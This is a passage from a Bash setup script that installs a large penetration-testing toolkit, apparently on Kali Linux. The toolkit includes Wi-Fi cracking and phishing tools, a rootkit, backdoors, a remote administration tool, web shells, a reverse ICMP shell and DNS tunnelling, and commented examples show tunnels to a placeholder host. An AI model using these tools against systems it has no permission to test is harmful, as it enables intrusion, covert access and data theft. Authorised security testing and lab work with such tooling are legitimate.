  2273. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ncftp${RESET} ~ CLI FTP client"
  2274. apt -y -qq install ncftp \
  2275.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2276.  
  2277.  
  2278. ##### Install p7zip
  2279. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}p7zip${RESET} ~ CLI file extractor"
  2280. apt -y -qq install p7zip-full \
  2281.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2282.  
  2283.  
  2284. ##### Install zip & unzip
  2285. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}zip${RESET} & ${GREEN}unzip${RESET} ~ CLI file extractors"
  2286. apt -y -qq install zip unzip \
  2287.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2288.  
  2289.  
  2290. ##### Install file roller
  2291. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}file roller${RESET} ~ GUI file extractor"
  2292. apt -y -qq install file-roller \
  2293.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2294. apt -y -qq install unace unrar rar unzip zip p7zip p7zip-full p7zip-rar \
  2295.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2296.  
  2297.  
  2298. ##### Install VPN support
  2299. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VPN${RESET} support for Network-Manager"
  2300. for FILE in network-manager-openvpn network-manager-pptp network-manager-vpnc network-manager-openconnect network-manager-iodine; do
  2301.   apt -y -qq install "${FILE}" \
  2302.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2303. done
  2304.  
  2305.  
  2306. ##### Install hashid
  2307. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hashid${RESET} ~ identify hash types"
  2308. apt -y -qq install hashid \
  2309.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2310.  
  2311.  
  2312. ##### Install httprint
  2313. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}httprint${RESET} ~ GUI web server fingerprint"
  2314. apt -y -qq install httprint \
  2315.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2316.  
  2317.  
  2318. ##### Install lbd
  2319. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}lbd${RESET} ~ load balancing detector"
  2320. apt -y -qq install lbd \
  2321.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2322.  
  2323.  
  2324. ##### Install wafw00f
  2325. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wafw00f${RESET} ~ WAF detector"
  2326. apt -y -qq install wafw00f \
  2327.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2328.  
  2329.  
  2330. ##### Install aircrack-ng
  2331. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Aircrack-ng${RESET} ~ Wi-Fi cracking suite"
  2332. apt -y -qq install aircrack-ng curl \
  2333.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2334. #--- Setup hardware database
  2335. mkdir -p /etc/aircrack-ng/
  2336. (timeout 600 airodump-ng-oui-update 2>/dev/null) \
  2337.   || timeout 600 curl --progress -k -L -f "http://standards-oui.ieee.org/oui/oui.txt" > /etc/aircrack-ng/oui.txt
  2338. [ -e /etc/aircrack-ng/oui.txt ] \
  2339.   && (\grep "(hex)" /etc/aircrack-ng/oui.txt | sed 's/^[ \t]*//g;s/[ \t]*$//g' > /etc/aircrack-ng/airodump-ng-oui.txt)
  2340. [[ ! -f /etc/aircrack-ng/airodump-ng-oui.txt ]] \
  2341.   && echo -e ' '${RED}'[!]'${RESET}" Issue downloading oui.txt" 1>&2
  2342. #--- Setup alias
  2343. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  2344. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2345. grep -q '^## aircrack-ng' "${file}" 2>/dev/null \
  2346.   || echo -e '## aircrack-ng\nalias aircrack-ng="aircrack-ng -z"\n' >> "${file}"
  2347. grep -q '^## airodump-ng' "${file}" 2>/dev/null \
  2348.   || echo -e '## airodump-ng \nalias airodump-ng="airodump-ng --manufacturer --wps --uptime"\n' >> "${file}"    # aircrack-ng 1.2 rc2
  2349. #--- Apply new alias
  2350. source "${file}" || source ~/.zshrc
  2351.  
  2352.  
  2353. ##### Install reaver (community fork)
  2354. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}reaver (community fork)${RESET} ~ WPS pin brute force + Pixie Attack"
  2355. apt -y -qq install reaver pixiewps \
  2356.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2357.  
  2358.  
  2359. ##### Install bully
  2360. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bully${RESET} ~ WPS pin brute force"
  2361. apt -y -qq install bully \
  2362.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2363.  
  2364.  
  2365. ##### Install wifite
  2366. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wifite${RESET} ~ automated Wi-Fi tool"
  2367. apt -y -qq install wifite \
  2368.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2369.  
  2370.  
  2371. ##### Install vulscan script for nmap
  2372. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vulscan script for nmap${RESET} ~ vulnerability scanner add-on"
  2373. apt -y -qq install nmap curl \
  2374.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2375. mkdir -p /usr/share/nmap/scripts/vulscan/
  2376. timeout 300 curl --progress -k -L -f "http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz" > /tmp/nmap_nse_vulscan.tar.gz \
  2377.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading file" 1>&2      #***!!! hardcoded version! Need to manually check for updates
  2378. gunzip /tmp/nmap_nse_vulscan.tar.gz
  2379. tar -xf /tmp/nmap_nse_vulscan.tar -C /usr/share/nmap/scripts/
  2380. #--- Fix permissions (by default its 0777)
  2381. chmod -R 0755 /usr/share/nmap/scripts/; find /usr/share/nmap/scripts/ -type f -exec chmod 0644 {} \;
  2382.  
  2383.  
  2384. ##### Install unicornscan
  2385. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}unicornscan${RESET} ~ fast port scanner"
  2386. apt -y -qq install unicornscan \
  2387.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2388.  
  2389.  
  2390. ##### Install onetwopunch
  2391. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}onetwopunch${RESET} ~ unicornscan & nmap wrapper"
  2392. apt -y -qq install git nmap unicornscan \
  2393.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2394. git clone -q -b master https://github.com/superkojiman/onetwopunch.git /opt/onetwopunch-git/ \
  2395.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2396. pushd /opt/onetwopunch-git/ >/dev/null
  2397. git pull -q
  2398. popd >/dev/null
  2399. #--- Add to path
  2400. mkdir -p /usr/local/bin/
  2401. file=/usr/local/bin/onetwopunch-git
  2402. cat <<EOF > "${file}" \
  2403.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2404. #!/bin/bash
  2405.  
  2406. cd /opt/onetwopunch-git/ && bash onetwopunch.sh "\$@"
  2407. EOF
  2408. chmod +x "${file}"
  2409.  
  2410.  
  2411. ##### Install Gnmap-Parser (fork)
  2412. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Gnmap-Parser (fork)${RESET} ~ Parse Nmap exports into various plain-text formats"
  2413. apt -y -qq install git \
  2414.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2415. git clone -q -b master https://github.com/nullmode/gnmap-parser.git /opt/gnmap-parser-git/ \
  2416.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2417. pushd /opt/gnmap-parser-git/ >/dev/null
  2418. git pull -q
  2419. popd >/dev/null
  2420. #--- Add to path
  2421. chmod +x /opt/gnmap-parser-git/gnmap-parser.sh
  2422. mkdir -p /usr/local/bin/
  2423. ln -sf /opt/gnmap-parser-git/gnmap-parser.sh /usr/local/bin/gnmap-parser-git
  2424.  
  2425.  
  2426. ##### Install udp-proto-scanner
  2427. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}udp-proto-scanner${RESET} ~ common UDP port scanner"
  2428. apt -y -qq install curl \
  2429.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2430. timeout 300 curl --progress -k -L -f "https://labs.portcullis.co.uk/download/udp-proto-scanner-1.1.tar.gz" -o /tmp/udp-proto-scanner.tar.gz \
  2431.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading udp-proto-scanner.tar.gz" 1>&2
  2432. gunzip /tmp/udp-proto-scanner.tar.gz
  2433. tar -xf /tmp/udp-proto-scanner.tar -C /opt/
  2434. mv -f /opt/udp-proto-scanner{-1.1,}
  2435. #--- Add to path
  2436. mkdir -p /usr/local/bin/
  2437. file=/usr/local/bin/udp-proto-scanner
  2438. cat <<EOF > "${file}" \
  2439.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2440. #!/bin/bash
  2441.  
  2442. cd /opt/udp-proto-scanner/ && perl udp-proto-scanner.pl "\$@"
  2443. EOF
  2444. chmod +x "${file}"
  2445.  
  2446.  
  2447. ##### Install clusterd
  2448. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}clusterd${RESET} ~ clustered attack toolkit (JBoss, ColdFusion, WebLogic, Tomcat etc)"
  2449. apt -y -qq install clusterd \
  2450.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2451.  
  2452.  
  2453. ##### Install webhandler
  2454. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}webhandler${RESET} ~ shell TTY handler"
  2455. apt -y -qq install webhandler \
  2456.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2457. #--- Add to path
  2458. mkdir -p /usr/local/bin/
  2459. ln -sf /usr/bin/webhandler /usr/local/bin/wh
  2460.  
  2461.  
  2462. ##### Install azazel
  2463. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}azazel${RESET} ~ Linux userland rootkit"
  2464. apt -y -qq install git \
  2465.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2466. git clone -q -b master https://github.com/chokepoint/azazel.git /opt/azazel-git/ \
  2467.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2468. pushd /opt/azazel-git/ >/dev/null
  2469. git pull -q
  2470. popd >/dev/null
  2471.  
  2472.  
  2473. ##### Install Babadook
  2474. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Babadook${RESET} ~ connection-less powershell backdoor"
  2475. apt -y -qq install git \
  2476.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2477. git clone -q -b master https://github.com/jseidl/Babadook.git /opt/babadook-git/ \
  2478.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2479. pushd /opt/babadook-git/ >/dev/null
  2480. git pull -q
  2481. popd >/dev/null
  2482.  
  2483.  
  2484. ##### Install pupy
  2485. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pupy${RESET} ~ Remote Administration Tool"
  2486. apt -y -qq install git \
  2487.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2488. git clone -q -b master https://github.com/n1nj4sec/pupy.git /opt/pupy-git/ \
  2489.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2490. pushd /opt/pupy-git/ >/dev/null
  2491. git pull -q
  2492. popd >/dev/null
  2493.  
  2494.  
  2495. ##### Install gobuster
  2496. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gobuster${RESET} ~ Directory/File/DNS busting tool"
  2497. apt -y -qq install git gobuster \
  2498.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2499.  
  2500.  
  2501. ##### Install reGeorg
  2502. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}reGeorg${RESET} ~ pivot via web shells"
  2503. git clone -q -b master https://github.com/sensepost/reGeorg.git /opt/regeorg-git \
  2504.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2505. pushd /opt/regeorg-git/ >/dev/null
  2506. git pull -q
  2507. popd >/dev/null
  2508. #--- Link to others
  2509. apt -y -qq install webshells \
  2510.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2511. ln -sf /opt/reGeorg-git /usr/share/webshells/reGeorg
  2512.  
  2513.  
  2514. ##### Install b374k (https://bugs.kali.org/view.php?id=1097)
  2515. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}b374k${RESET} ~ (PHP) web shell"
  2516. apt -y -qq install git php-cli \
  2517.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2518. git clone -q -b master https://github.com/b374k/b374k.git /opt/b374k-git/ \
  2519.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2520. pushd /opt/b374k-git/ >/dev/null
  2521. git pull -q
  2522. php index.php -o b374k.php -s
  2523. popd >/dev/null
  2524. #--- Link to others
  2525. apt -y -qq install webshells \
  2526.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2527. ln -sf /opt/b374k-git /usr/share/webshells/php/b374k
  2528.  
  2529.  
  2530. ##### Install adminer
  2531. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}adminer${RESET} ~ Database management in a single PHP file"
  2532. apt -y -qq install git \
  2533.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2534. git clone -q -b master https://github.com/vrana/adminer.git /opt/adminer-git/ \
  2535.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2536. pushd /opt/adminer-git/ >/dev/null
  2537. git pull -q
  2538. php compile.php 2>/dev/null
  2539. popd >/dev/null
  2540. #--- Link to others
  2541. apt -y -qq install webshells \
  2542.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2543. file=$(find /opt/adminer-git/ -name adminer-*.php -type f -print -quit)
  2544. ln -sf "${file}" /usr/share/webshells/php/adminer.php
  2545.  
  2546.  
  2547. ##### Install WeBaCoo
  2548. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WeBaCoo${RESET} ~ Web backdoor cookie"
  2549. apt -y -qq install webacoo \
  2550.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2551.  
  2552.  
  2553. ##### Install cmdsql
  2554. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}cmdsql${RESET} ~ (ASPX) web shell"
  2555. apt -y -qq install git \
  2556.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2557. git clone -q -b master https://github.com/NetSPI/cmdsql.git /opt/cmdsql-git/ \
  2558.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2559. pushd /opt/cmdsql-git/ >/dev/null
  2560. git pull -q
  2561. popd >/dev/null
  2562. #--- Link to others
  2563. apt -y -qq install webshells \
  2564.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2565. ln -sf /opt/cmdsql-git /usr/share/webshells/aspx/cmdsql
  2566.  
  2567.  
  2568. ##### Install JSP file browser
  2569. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}JSP file browser${RESET} ~ (JSP) web shell"
  2570. apt -y -qq install curl \
  2571.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2572. mkdir -p /opt/jsp-filebrowser/
  2573. timeout 300 curl --progress -k -L -f "http://www.vonloesch.de/files/browser.zip" > /tmp/jsp.zip \
  2574.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading jsp.zip" 1>&2
  2575. unzip -q -o -d /opt/jsp-filebrowser/ /tmp/jsp.zip
  2576. #--- Link to others
  2577. apt -y -qq install webshells \
  2578.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2579. ln -sf /opt/jsp-filebrowser /usr/share/webshells/jsp/jsp-filebrowser
  2580.  
  2581.  
  2582. ##### Install htshells
  2583. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}htShells${RESET} ~ (htdocs/apache) web shells"
  2584. apt -y -qq install htshells \
  2585.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2586.  
  2587.  
  2588. ##### Install python-pty-shells
  2589. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}python-pty-shells${RESET} ~ PTY shells"
  2590. apt -y -qq install git \
  2591.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2592. git clone -q -b master https://github.com/infodox/python-pty-shells.git /opt/python-pty-shells-git/ \
  2593.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2594. pushd /opt/python-pty-shells-git/ >/dev/null
  2595. git pull -q
  2596. popd >/dev/null
  2597.  
  2598.  
  2599. ##### Install bridge-utils
  2600. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bridge-utils${RESET} ~ Bridge network interfaces"
  2601. apt -y -qq install bridge-utils \
  2602.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2603.  
  2604.  
  2605. ##### Install FruityWifi
  2606. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}FruityWifi${RESET} ~ Wireless network auditing tool"
  2607. apt -y -qq install fruitywifi \
  2608.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2609. # URL: https://localhost:8443
  2610. if [[ -e /var/www/html/index.nginx-debian.html ]]; then
  2611.   grep -q '<title>Welcome to nginx on Debian!</title>' /var/www/html/index.nginx-debian.html \
  2612.     && echo 'Permission denied.' > /var/www/html/index.nginx-debian.html
  2613. fi
  2614.  
  2615.  
  2616. ##### Install WPA2-HalfHandshake-Crack
  2617. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WPA2-HalfHandshake-Crack${RESET} ~ Rogue AP for handshakes without a AP"
  2618. apt -y -qq install git \
  2619.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2620. git clone -q -b master https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git /opt/wpa2-halfhandshake-crack-git/ \
  2621.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2622. pushd /opt/wpa2-halfhandshake-crack-git/ >/dev/null
  2623. git pull -q
  2624. popd >/dev/null
  2625.  
  2626.  
  2627. ##### Install HT-WPS-Breaker
  2628. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}HT-WPS-Breaker${RESET} ~ Auto WPS tool"
  2629. apt -y -qq install git \
  2630.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2631. git clone -q -b master https://github.com/SilentGhostX/HT-WPS-Breaker.git /opt/ht-wps-breaker-git/ \
  2632.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2633. pushd /opt/ht-wps-breaker-git/ >/dev/null
  2634. git pull -q
  2635. popd >/dev/null
  2636.  
  2637.  
  2638. ##### Install dot11decrypt
  2639. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dot11decrypt${RESET} ~ On-the-fly WEP/WPA2 decrypter"
  2640. apt -y -qq install git \
  2641.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2642. git clone -q -b master https://github.com/mfontanini/dot11decrypt.git /opt/dot11decrypt-git/ \
  2643.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2644. pushd /opt/dot11decrypt-git/ >/dev/null
  2645. git pull -q
  2646. popd >/dev/null
  2647.  
  2648.  
  2649. ##### Install mana toolkit
  2650. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MANA toolkit${RESET} ~ Rogue AP for MITM Wi-Fi"
  2651. apt -y -qq install mana-toolkit \
  2652.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2653. #--- Disable profile
  2654. a2dissite 000-mana-toolkit; a2ensite 000-default
  2655. #--- Setup alias
  2656. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  2657. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2658. grep -q '^## mana-toolkit' "${file}" 2>/dev/null \
  2659.   || (echo -e '## mana-toolkit\nalias mana-toolkit-start="a2ensite 000-mana-toolkit;a2dissite 000-default; systemctl restart apache2"' >> "${file}" \
  2660.     && echo -e 'alias mana-toolkit-stop="a2dissite 000-mana-toolkit; a2ensite 000-default; systemctl restart apache2"\n' >> "${file}" )
  2661. #--- Apply new alias
  2662. source "${file}" || source ~/.zshrc
  2663.  
  2664.  
  2665. ##### Install wifiphisher
  2666. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wifiphisher${RESET} ~ Automated Wi-Fi phishing"
  2667. apt -y -qq install git \
  2668.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2669. git clone -q -b master https://github.com/sophron/wifiphisher.git /opt/wifiphisher-git/ \
  2670.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2671. pushd /opt/wifiphisher-git/ >/dev/null
  2672. git pull -q
  2673. popd >/dev/null
  2674. #--- Add to path
  2675. mkdir -p /usr/local/bin/
  2676. file=/usr/local/bin/wifiphisher-git
  2677. cat <<EOF > "${file}" \
  2678.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2679. #!/bin/bash
  2680.  
  2681. cd /opt/wifiphisher-git/ && python wifiphisher.py "\$@"
  2682. EOF
  2683. chmod +x "${file}"
  2684.  
  2685.  
  2686. ##### Install hostapd-wpe-extended
  2687. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hostapd-wpe-extended${RESET} ~ Rogue AP for WPA-Enterprise"
  2688. apt -y -qq install git \
  2689.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2690. git clone -q -b master https://github.com/NerdyProjects/hostapd-wpe-extended.git /opt/hostapd-wpe-extended-git/ \
  2691.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2692. pushd /opt/hostapd-wpe-extended-git/ >/dev/null
  2693. git pull -q
  2694. popd >/dev/null
  2695.  
  2696.  
  2697. ##### Install proxychains-ng (https://bugs.kali.org/view.php?id=2037)
  2698. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}proxychains-ng${RESET} ~ Proxifier"
  2699. apt -y -qq install git gcc \
  2700.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2701. git clone -q -b master https://github.com/rofl0r/proxychains-ng.git /opt/proxychains-ng-git/ \
  2702.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2703. pushd /opt/proxychains-ng-git/ >/dev/null
  2704. git pull -q
  2705. make -s clean
  2706. ./configure --prefix=/usr --sysconfdir=/etc >/dev/null
  2707. make -s 2>/dev/null && make -s install   # bad, but it gives errors which might be confusing (still builds)
  2708. popd >/dev/null
  2709. #--- Add to path (with a 'better' name)
  2710. mkdir -p /usr/local/bin/
  2711. ln -sf /usr/bin/proxychains4 /usr/local/bin/proxychains-ng
  2712.  
  2713.  
  2714. ##### Install httptunnel
  2715. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}httptunnel${RESET} ~ Tunnels data streams in HTTP requests"
  2716. apt -y -qq install http-tunnel \
  2717.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2718.  
  2719.  
  2720. ##### Install sshuttle
  2721. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sshuttle${RESET} ~ VPN over SSH"
  2722. apt -y -qq install sshuttle \
  2723.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2724. #--- Example
  2725. #sshuttle --dns --remote root@123.9.9.9 0/0 -vv
  2726.  
  2727.  
  2728. ##### Install pfi
  2729. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pfi${RESET} ~ Port Forwarding Interceptor"
  2730. apt -y -qq install git \
  2731.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2732. git clone -q -b master https://github.com/s7ephen/pfi.git /opt/pfi-git/ \
  2733.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2734. pushd /opt/pfi-git/ >/dev/null
  2735. git pull -q
  2736. popd >/dev/null
  2737.  
  2738.  
  2739. ##### Install icmpsh
  2740. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}icmpsh${RESET} ~ Reverse ICMP shell"
  2741. apt -y -qq install git \
  2742.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2743. git clone -q -b master https://github.com/inquisb/icmpsh.git /opt/icmpsh-git/ \
  2744.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2745. pushd /opt/icmpsh-git/ >/dev/null
  2746. git pull -q
  2747. popd >/dev/null
  2748.  
  2749.  
  2750. ##### Install dnsftp
  2751. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dnsftp${RESET} ~ Transfer files over DNS"
  2752. apt -y -qq install git \
  2753.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2754. git clone -q -b master https://github.com/breenmachine/dnsftp.git /opt/dnsftp-git/ \
  2755.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2756. pushd /opt/dnsftp-git/ >/dev/null
  2757. git pull -q
  2758. popd >/dev/null
  2759.  
  2760.  
  2761. ##### Install iodine
  2762. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}iodine${RESET} ~ DNS tunnelling (IP over DNS)"
  2763. apt -y -qq install iodine \
  2764.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2765. #iodined -f -P password1 10.0.0.1 dns.mydomain.com
  2766. #iodine -f -P password1 123.9.9.9 dns.mydomain.com; ssh -C -D 8081 root@10.0.0.1
  2767.  
  2768.  
  2769. ##### Install dns2tcp
  2770. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dns2tcp${RESET} ~ DNS tunnelling (TCP over DNS)"
  2771. apt -y -qq install dns2tcp \
  2772.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2773. #--- Daemon
  2774. file=/etc/dns2tcpd.conf; [ -e "${file}" ] && cp -n $file{,.bkup};
  2775. cat <<EOF > "${file}" \
  2776.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2777. listen = 0.0.0.0
  2778. port = 53
  2779. user = nobody
  2780. chroot = /tmp
